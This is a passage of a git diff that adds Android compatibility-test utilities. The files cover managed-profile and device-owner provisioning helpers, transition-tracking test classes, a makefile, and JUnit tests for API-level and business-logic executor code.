diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/devicepolicy/provisioning/IBooleanCallback.aidl b/common/device-side/util-axt/src/com/android/compatibility/common/util/devicepolicy/provisioning/IBooleanCallback.aidl
new file mode 100644
index 0000000..2fdb26b
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/devicepolicy/provisioning/IBooleanCallback.aidl
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util.devicepolicy.provisioning;
+
+interface IBooleanCallback {
+ oneway void onResult(boolean result);
+}
\ No newline at end of file
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/devicepolicy/provisioning/SilentProvisioningTestManager.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/devicepolicy/provisioning/SilentProvisioningTestManager.java
new file mode 100644
index 0000000..ae6849c
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/devicepolicy/provisioning/SilentProvisioningTestManager.java
@@ -0,0 +1,179 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util.devicepolicy.provisioning;
+
+import static android.app.admin.DevicePolicyManager.ACTION_MANAGED_PROFILE_PROVISIONED;
+import static android.app.admin.DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE;
+import static android.content.Intent.ACTION_MANAGED_PROFILE_ADDED;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.os.RemoteException;
+import androidx.test.InstrumentationRegistry;
+import android.support.test.uiautomator.UiDevice;
+import android.util.Log;
+
+import com.android.compatibility.common.util.BlockingBroadcastReceiver;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class SilentProvisioningTestManager {
+ private static final long TIMEOUT_SECONDS = 120L;
+ private static final String TAG = "SilentProvisioningTest";
+
+ private final LinkedBlockingQueue<Boolean> mProvisioningResults = new LinkedBlockingQueue(1);
+
+ private final IBooleanCallback mProvisioningResultCallback = new IBooleanCallback.Stub() {
+ @Override
+ public void onResult(boolean result) {
+ try {
+ mProvisioningResults.put(result);
+ } catch (InterruptedException e) {
+ Log.e(TAG, "IBooleanCallback.callback", e);
+ }
+ }
+ };
+
+ private final Context mContext;
+ private Intent mReceivedProfileProvisionedIntent;
+
+ public SilentProvisioningTestManager(Context context) {
+ mContext = context.getApplicationContext();
+ }
+
+ public Intent getReceviedProfileProvisionedIntent() {
+ return mReceivedProfileProvisionedIntent;
+ }
+
+ public boolean startProvisioningAndWait(Intent provisioningIntent) throws InterruptedException {
+ wakeUpAndDismissInsecureKeyguard();
+ mContext.startActivity(getStartIntent(provisioningIntent));
+ Log.i(TAG, "startActivity with intent: " + provisioningIntent);
+
+ if (ACTION_PROVISION_MANAGED_PROFILE.equals(provisioningIntent.getAction())) {
+ return waitManagedProfileProvisioning();
+ } else {
+ return waitDeviceOwnerProvisioning();
+ }
+ }
+
+ private boolean waitDeviceOwnerProvisioning() throws InterruptedException {
+ return pollProvisioningResult();
+ }
+
+ private boolean waitManagedProfileProvisioning() throws InterruptedException {
+ BlockingBroadcastReceiver managedProfileProvisionedReceiver =
+ new BlockingBroadcastReceiver(mContext, ACTION_MANAGED_PROFILE_PROVISIONED);
+ BlockingBroadcastReceiver managedProfileAddedReceiver =
+ new BlockingBroadcastReceiver(mContext, ACTION_MANAGED_PROFILE_ADDED);
+ try {
+ managedProfileProvisionedReceiver.register();
+ managedProfileAddedReceiver.register();
+
+ if (!pollProvisioningResult()) {
+ return false;
+ }
+
+ mReceivedProfileProvisionedIntent =
+ managedProfileProvisionedReceiver.awaitForBroadcast();
+ if (mReceivedProfileProvisionedIntent == null) {
+ Log.i(TAG, "managedProfileProvisionedReceiver.awaitForBroadcast(): failed");
+ return false;
+ }
+
+ if (managedProfileAddedReceiver.awaitForBroadcast() == null) {
+ Log.i(TAG, "managedProfileAddedReceiver.awaitForBroadcast(): failed");
+ return false;
+ }
+ } finally {
+ managedProfileProvisionedReceiver.unregisterQuietly();
+ managedProfileAddedReceiver.unregisterQuietly();
+ }
+ return true;
+ }
+
+ private boolean pollProvisioningResult() throws InterruptedException {
+ Boolean result = mProvisioningResults.poll(TIMEOUT_SECONDS, TimeUnit.SECONDS);
+ if (result == null) {
+ Log.i(TAG, "ManagedProvisioning doesn't return result within "
+ + TIMEOUT_SECONDS + " seconds ");
+ return false;
+ }
+
+ if (!result) {
+ Log.i(TAG, "Failed to provision");
+ return false;
+ }
+ return true;
+ }
+
+ private Intent getStartIntent(Intent intent) {
+ final Bundle bundle = new Bundle();
+ bundle.putParcelable(Intent.EXTRA_INTENT, intent);
+ bundle.putBinder(StartProvisioningActivity.EXTRA_BOOLEAN_CALLBACK,
+ mProvisioningResultCallback.asBinder());
+ return new Intent(mContext, StartProvisioningActivity.class)
+ .putExtras(bundle)
+ .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ }
+
+ private static void wakeUpAndDismissInsecureKeyguard() {
+ try {
+ UiDevice uiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ uiDevice.wakeUp();
+ uiDevice.pressMenu();
+ } catch (RemoteException e) {
+ Log.e(TAG, "wakeUpScreen", e);
+ }
+ }
+
+ private static class BlockingReceiver extends BroadcastReceiver {
+
+ private final CountDownLatch mLatch = new CountDownLatch(1);
+ private final Context mContext;
+ private final String mAction;
+ private Intent mReceivedIntent;
+
+ private BlockingReceiver(Context context, String action) {
+ mContext = context;
+ mAction = action;
+ mReceivedIntent = null;
+ }
+
+ public void register() {
+ mContext.registerReceiver(this, new IntentFilter(mAction));
+ }
+
+ public boolean await() throws InterruptedException {
+ return mLatch.await(TIMEOUT_SECONDS, TimeUnit.SECONDS);
+ }
+
+ public Intent getReceivedIntent() {
+ return mReceivedIntent;
+ }
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ mReceivedIntent = intent;
+ mLatch.countDown();
+ }
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/devicepolicy/provisioning/StartProvisioningActivity.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/devicepolicy/provisioning/StartProvisioningActivity.java
new file mode 100644
index 0000000..4a98794
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/devicepolicy/provisioning/StartProvisioningActivity.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util.devicepolicy.provisioning;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.RemoteException;
+import android.util.Log;
+import android.view.WindowManager;
+
+/**
+ * Must register it in AndroidManifest.xml
+ * <activity android:name="com.android.compatibility.common.util.devicepolicy.provisioning.StartProvisioningActivity"></activity>
+ */
+public class StartProvisioningActivity extends Activity {
+ private static final int REQUEST_CODE = 1;
+ private static final String TAG = "StartProvisionActivity";
+
+ public static final String EXTRA_BOOLEAN_CALLBACK = "EXTRA_BOOLEAN_CALLBACK";
+
+ IBooleanCallback mResultCallback;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ // Reduce flakiness of the test
+ // Show activity on top of keyguard
+ getWindow().addFlags(WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD);
+ // Turn on screen to prevent activity being paused by system
+ getWindow().addFlags(WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
+ getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+
+ mResultCallback = IBooleanCallback.Stub.asInterface(
+ getIntent().getExtras().getBinder(EXTRA_BOOLEAN_CALLBACK));
+ Log.i(TAG, "result callback class name " + mResultCallback);
+
+ // Only provision it if the activity is not re-created
+ if (savedInstanceState == null) {
+ Intent provisioningIntent = getIntent().getParcelableExtra(Intent.EXTRA_INTENT);
+
+ startActivityForResult(provisioningIntent, REQUEST_CODE);
+ Log.i(TAG, "Start provisioning intent");
+ }
+ }
+
+ @Override
+ protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+ if (requestCode == REQUEST_CODE) {
+ try {
+ boolean result = resultCode == RESULT_OK;
+ mResultCallback.onResult(result);
+ Log.i(TAG, "onActivityResult result: " + result);
+ } catch (RemoteException e) {
+ Log.e(TAG, "onActivityResult", e);
+ }
+ } else {
+ super.onActivityResult(requestCode, resultCode, data);
+ }
+ }
+}
\ No newline at end of file
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/transition/TargetTracking.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/transition/TargetTracking.java
new file mode 100644
index 0000000..7c53921
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/transition/TargetTracking.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util.transition;
+
+import android.graphics.Rect;
+import android.view.View;
+
+import java.util.ArrayList;
+
+public interface TargetTracking {
+ ArrayList<View> getTrackedTargets();
+ void clearTargets();
+ Rect getCapturedEpicenter();
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/transition/TrackingTransition.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/transition/TrackingTransition.java
new file mode 100644
index 0000000..55b235d
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/transition/TrackingTransition.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util.transition;
+
+import android.animation.Animator;
+import android.graphics.Rect;
+import android.transition.Transition;
+import android.transition.TransitionValues;
+import android.view.View;
+import android.view.ViewGroup;
+
+import java.util.ArrayList;
+
+/**
+ * A transition that tracks which targets are applied to it.
+ * It will assume any target that it applies to will have differences
+ * between the start and end state, regardless of the differences
+ * that actually exist. In other words, it doesn't actually check
+ * any size or position differences or any other property of the view.
+ * It just records the difference.
+ * <p>
+ * Both start and end value Views are recorded, but no actual animation
+ * is created.
+ */
+public class TrackingTransition extends Transition implements TargetTracking {
+ public final ArrayList<View> targets = new ArrayList<>();
+ private final Rect[] mEpicenter = new Rect[1];
+ private static String PROP = "tracking:prop";
+ private static String[] PROPS = { PROP };
+
+ @Override
+ public String[] getTransitionProperties() {
+ return PROPS;
+ }
+
+ @Override
+ public void captureStartValues(TransitionValues transitionValues) {
+ transitionValues.values.put(PROP, 0);
+ }
+
+ @Override
+ public void captureEndValues(TransitionValues transitionValues) {
+ transitionValues.values.put(PROP, 1);
+ }
+
+ @Override
+ public Animator createAnimator(ViewGroup sceneRoot, TransitionValues startValues,
+ TransitionValues endValues) {
+ if (startValues != null) {
+ targets.add(startValues.view);
+ }
+ if (endValues != null) {
+ targets.add(endValues.view);
+ }
+ Rect epicenter = getEpicenter();
+ if (epicenter != null) {
+ mEpicenter[0] = new Rect(epicenter);
+ } else {
+ mEpicenter[0] = null;
+ }
+ return null;
+ }
+
+ @Override
+ public ArrayList<View> getTrackedTargets() {
+ return targets;
+ }
+
+ @Override
+ public void clearTargets() {
+ targets.clear();
+ }
+
+ @Override
+ public Rect getCapturedEpicenter() {
+ return mEpicenter[0];
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/transition/TrackingVisibility.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/transition/TrackingVisibility.java
new file mode 100644
index 0000000..8a5a19e
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/transition/TrackingVisibility.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util.transition;
+
+import android.animation.Animator;
+import android.graphics.Rect;
+import android.transition.TransitionValues;
+import android.transition.Visibility;
+import android.view.View;
+import android.view.ViewGroup;
+
+import java.util.ArrayList;
+
+/**
+ * Visibility transition that tracks which targets are applied to it.
+ * This transition does no animation.
+ */
+public class TrackingVisibility extends Visibility implements TargetTracking {
+ public final ArrayList<View> targets = new ArrayList<>();
+ private final Rect[] mEpicenter = new Rect[1];
+
+ @Override
+ public Animator onAppear(ViewGroup sceneRoot, View view, TransitionValues startValues,
+ TransitionValues endValues) {
+ targets.add(endValues.view);
+ Rect epicenter = getEpicenter();
+ if (epicenter != null) {
+ mEpicenter[0] = new Rect(epicenter);
+ } else {
+ mEpicenter[0] = null;
+ }
+ return null;
+ }
+
+ @Override
+ public Animator onDisappear(ViewGroup sceneRoot, View view, TransitionValues startValues,
+ TransitionValues endValues) {
+ targets.add(startValues.view);
+ Rect epicenter = getEpicenter();
+ if (epicenter != null) {
+ mEpicenter[0] = new Rect(epicenter);
+ } else {
+ mEpicenter[0] = null;
+ }
+ return null;
+ }
+
+ @Override
+ public ArrayList<View> getTrackedTargets() {
+ return targets;
+ }
+
+ @Override
+ public void clearTargets() {
+ targets.clear();
+ }
+
+ @Override
+ public Rect getCapturedEpicenter() {
+ return mEpicenter[0];
+ }
+}
diff --git a/common/device-side/util-axt/tests/Android.mk b/common/device-side/util-axt/tests/Android.mk
new file mode 100644
index 0000000..a4681de
--- /dev/null
+++ b/common/device-side/util-axt/tests/Android.mk
@@ -0,0 +1,29 @@
+# Copyright (C) 2015 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt junit
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE := compatibility-device-util-axt-tests
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/common/device-side/util-axt/tests/src/com/android/compatibility/common/util/ApiLevelUtilTest.java b/common/device-side/util-axt/tests/src/com/android/compatibility/common/util/ApiLevelUtilTest.java
new file mode 100644
index 0000000..3b0f0de
--- /dev/null
+++ b/common/device-side/util-axt/tests/src/com/android/compatibility/common/util/ApiLevelUtilTest.java
@@ -0,0 +1,77 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package com.android.compatibility.common.util;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertTrue;
+
+import android.os.Build;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests for {@line ApiLevelUtil}.
+ */
+@RunWith(AndroidJUnit4.class)
+public class ApiLevelUtilTest {
+
+ @Test
+ public void testComparisonByInt() throws Exception {
+ int version = Build.VERSION.SDK_INT;
+
+ assertFalse(ApiLevelUtil.isBefore(version - 1));
+ assertFalse(ApiLevelUtil.isBefore(version));
+ assertTrue(ApiLevelUtil.isBefore(version + 1));
+
+ assertTrue(ApiLevelUtil.isAfter(version - 1));
+ assertFalse(ApiLevelUtil.isAfter(version));
+ assertFalse(ApiLevelUtil.isAfter(version + 1));
+
+ assertTrue(ApiLevelUtil.isAtLeast(version - 1));
+ assertTrue(ApiLevelUtil.isAtLeast(version));
+ assertFalse(ApiLevelUtil.isAtLeast(version + 1));
+
+ assertFalse(ApiLevelUtil.isAtMost(version - 1));
+ assertTrue(ApiLevelUtil.isAtMost(version));
+ assertTrue(ApiLevelUtil.isAtMost(version + 1));
+ }
+
+ @Test
+ public void testComparisonByString() throws Exception {
+ // test should pass as long as device SDK version is at least 12
+ assertTrue(ApiLevelUtil.isAtLeast("HONEYCOMB_MR1"));
+ assertTrue(ApiLevelUtil.isAtLeast("12"));
+ }
+
+ @Test
+ public void testResolveVersionString() throws Exception {
+ // can only test versions known to the device build
+ assertEquals(ApiLevelUtil.resolveVersionString("GINGERBREAD_MR1"), 10);
+ assertEquals(ApiLevelUtil.resolveVersionString("10"), 10);
+ assertEquals(ApiLevelUtil.resolveVersionString("HONEYCOMB"), 11);
+ assertEquals(ApiLevelUtil.resolveVersionString("11"), 11);
+ assertEquals(ApiLevelUtil.resolveVersionString("honeycomb_mr1"), 12);
+ assertEquals(ApiLevelUtil.resolveVersionString("12"), 12);
+ }
+
+ @Test(expected = RuntimeException.class)
+ public void testResolveMisspelledVersionString() throws Exception {
+ ApiLevelUtil.resolveVersionString("GINGERBEARD");
+ }
+}
diff --git a/common/device-side/util-axt/tests/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutorTest.java b/common/device-side/util-axt/tests/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutorTest.java
new file mode 100644
index 0000000..e8d5d29
--- /dev/null
+++ b/common/device-side/util-axt/tests/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutorTest.java
@@ -0,0 +1,314 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package com.android.compatibility.common.util;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertNull;
+import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.AssumptionViolatedException;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+import junit.framework.AssertionFailedError;
+
+/**
+ * Tests for {@line BusinessLogicDeviceExecutor}.
+ */
+@RunWith(AndroidJUnit4.class)
+public class BusinessLogicDeviceExecutorTest {
+
+ private static final String THIS_CLASS =
+ "com.android.compatibility.common.util.BusinessLogicDeviceExecutorTest";
+ private static final String METHOD_1 = THIS_CLASS + ".method1";
+ private static final String METHOD_2 = THIS_CLASS + ".method2";
+ private static final String METHOD_3 = THIS_CLASS + ".method3";
+ private static final String METHOD_4 = THIS_CLASS + ".method4";
+ private static final String METHOD_5 = THIS_CLASS + ".method5";
+ private static final String METHOD_6 = THIS_CLASS + ".method6";
+ private static final String METHOD_7 = THIS_CLASS + ".method7";
+ private static final String METHOD_8 = THIS_CLASS + ".method8";
+ private static final String METHOD_9 = THIS_CLASS + ".method9";
+ private static final String METHOD_10 = THIS_CLASS + ".method10";
+ private static final String FAKE_METHOD = THIS_CLASS + ".methodDoesntExist";
+ private static final String ARG_STRING_1 = "arg1";
+ private static final String ARG_STRING_2 = "arg2";
+
+ private static final String OTHER_METHOD_1 = THIS_CLASS + "$OtherClass.method1";
+
+ private String mInvoked = null;
+ private Object[] mArgsUsed = null;
+ private Context mContext;
+ private BusinessLogicExecutor mExecutor;
+
+ @Before
+ public void setUp() {
+ mContext = InstrumentationRegistry.getTargetContext();
+ mExecutor = new BusinessLogicDeviceExecutor(mContext, this);
+ // reset the instance variables tracking the method invoked and the args used
+ mInvoked = null;
+ mArgsUsed = null;
+ // reset the OtherClass class variable tracking the method invoked
+ OtherClass.otherInvoked = null;
+ }
+
+ @Test
+ public void testInvokeMethodInThisClass() throws Exception {
+ mExecutor.invokeMethod(METHOD_1);
+ // assert that mInvoked was set for this BusinessLogicDeviceExecutorTest instance
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_1);
+ }
+
+ @Test
+ public void testInvokeMethodInOtherClass() throws Exception {
+ mExecutor.invokeMethod(OTHER_METHOD_1);
+ // assert that OtherClass.method1 was invoked, and static field of OtherClass was changed
+ assertEquals("Failed to invoke method in other class", OtherClass.otherInvoked,
+ OTHER_METHOD_1);
+ }
+
+ @Test
+ public void testInvokeMethodWithStringArgs() throws Exception {
+ mExecutor.invokeMethod(METHOD_2, ARG_STRING_1, ARG_STRING_2);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_2);
+ // assert both String arguments were correctly set for method2
+ assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+ assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
+ }
+
+ @Test
+ public void testInvokeMethodWithStringAndContextArgs() throws Exception {
+ mExecutor.invokeMethod(METHOD_3, ARG_STRING_1);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_3);
+ // assert that String arg and Context arg were correctly set for method3
+ assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+ assertEquals("Failed to set second argument", mArgsUsed[1], mContext);
+ }
+
+ @Test
+ public void testInvokeMethodWithContextAndStringArgs() throws Exception {
+ mExecutor.invokeMethod(METHOD_4, ARG_STRING_1);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_4);
+ // Like testInvokeMethodWithStringAndContextArgs, but flip the args for method4
+ assertEquals("Failed to set first argument", mArgsUsed[0], mContext);
+ assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_1);
+ }
+
+ @Test
+ public void testInvokeMethodWithStringArrayArg() throws Exception {
+ mExecutor.invokeMethod(METHOD_5, ARG_STRING_1, ARG_STRING_2);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_5);
+ // assert both String arguments were correctly set for method5
+ assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+ assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
+ }
+
+ @Test
+ public void testInvokeMethodWithEmptyStringArrayArg() throws Exception {
+ mExecutor.invokeMethod(METHOD_5);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_5);
+ // assert no String arguments were set for method5
+ assertEquals("Incorrectly set args", mArgsUsed.length, 0);
+ }
+
+ @Test
+ public void testInvokeMethodWithStringAndStringArrayArgs() throws Exception {
+ mExecutor.invokeMethod(METHOD_6, ARG_STRING_1, ARG_STRING_2);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_6);
+ // assert both String arguments were correctly set for method6
+ assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+ assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
+ }
+
+ @Test
+ public void testInvokeMethodWithAllArgTypes() throws Exception {
+ mExecutor.invokeMethod(METHOD_7, ARG_STRING_1, ARG_STRING_2);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_7);
+ // assert all arguments were correctly set for method7
+ assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+ assertEquals("Failed to set second argument", mArgsUsed[1], mContext);
+ assertEquals("Failed to set third argument", mArgsUsed[2], ARG_STRING_2);
+ }
+
+ @Test
+ public void testInvokeOverloadedMethodOneArg() throws Exception {
+ mExecutor.invokeMethod(METHOD_1, ARG_STRING_1);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_1);
+ assertEquals("Set wrong number of arguments", mArgsUsed.length, 1);
+ assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+ }
+
+ @Test
+ public void testInvokeOverloadedMethodTwoArgs() throws Exception {
+ mExecutor.invokeMethod(METHOD_1, ARG_STRING_1, ARG_STRING_2);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_1);
+ assertEquals("Set wrong number of arguments", mArgsUsed.length, 2);
+ assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+ assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
+ }
+
+ @Test(expected = RuntimeException.class)
+ public void testInvokeNonExistentMethod() throws Exception {
+ mExecutor.invokeMethod(FAKE_METHOD, ARG_STRING_1, ARG_STRING_2);
+ }
+
+ @Test(expected = RuntimeException.class)
+ public void testInvokeMethodTooManyArgs() throws Exception {
+ mExecutor.invokeMethod(METHOD_3, ARG_STRING_1, ARG_STRING_2);
+ }
+
+ @Test(expected = RuntimeException.class)
+ public void testInvokeMethodTooFewArgs() throws Exception {
+ mExecutor.invokeMethod(METHOD_2, ARG_STRING_1);
+ }
+
+ @Test(expected = RuntimeException.class)
+ public void testInvokeMethodIncompatibleArgs() throws Exception {
+ mExecutor.invokeMethod(METHOD_8, ARG_STRING_1);
+ }
+
+ @Test
+ public void testExecuteConditionCheckReturnValue() throws Exception {
+ assertTrue("Wrong return value",
+ mExecutor.executeCondition(METHOD_2, ARG_STRING_1, ARG_STRING_1));
+ assertFalse("Wrong return value",
+ mExecutor.executeCondition(METHOD_2, ARG_STRING_1, ARG_STRING_2));
+ }
+
+ @Test(expected = RuntimeException.class)
+ public void testExecuteInvalidCondition() throws Exception {
+ mExecutor.executeCondition(METHOD_1); // method1 does not return type boolean
+ }
+
+ @Test
+ public void testExecuteAction() throws Exception {
+ mExecutor.executeAction(METHOD_2, ARG_STRING_1, ARG_STRING_2);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_2);
+ // assert both String arguments were correctly set for method2
+ assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+ assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
+ }
+
+ @Test(expected = RuntimeException.class)
+ public void testExecuteActionThrowException() throws Exception {
+ mExecutor.executeAction(METHOD_9);
+ }
+
+ @Test
+ public void testExecuteActionViolateAssumption() throws Exception {
+ try {
+ mExecutor.executeAction(METHOD_10);
+ // JUnit4 doesn't support expecting AssumptionViolatedException with "expected"
+ // attribute on @Test annotation, so test using Assert.fail()
+ fail("Expected assumption failure");
+ } catch (AssumptionViolatedException e) {
+ // expected
+ }
+ }
+
+ public void method1() {
+ mInvoked = METHOD_1;
+ }
+
+ // overloaded method with one arg
+ public void method1(String arg1) {
+ mInvoked = METHOD_1;
+ mArgsUsed = new Object[]{arg1};
+ }
+
+ // overloaded method with two args
+ public void method1(String arg1, String arg2) {
+ mInvoked = METHOD_1;
+ mArgsUsed = new Object[]{arg1, arg2};
+ }
+
+ public boolean method2(String arg1, String arg2) {
+ mInvoked = METHOD_2;
+ mArgsUsed = new Object[]{arg1, arg2};
+ return arg1.equals(arg2);
+ }
+
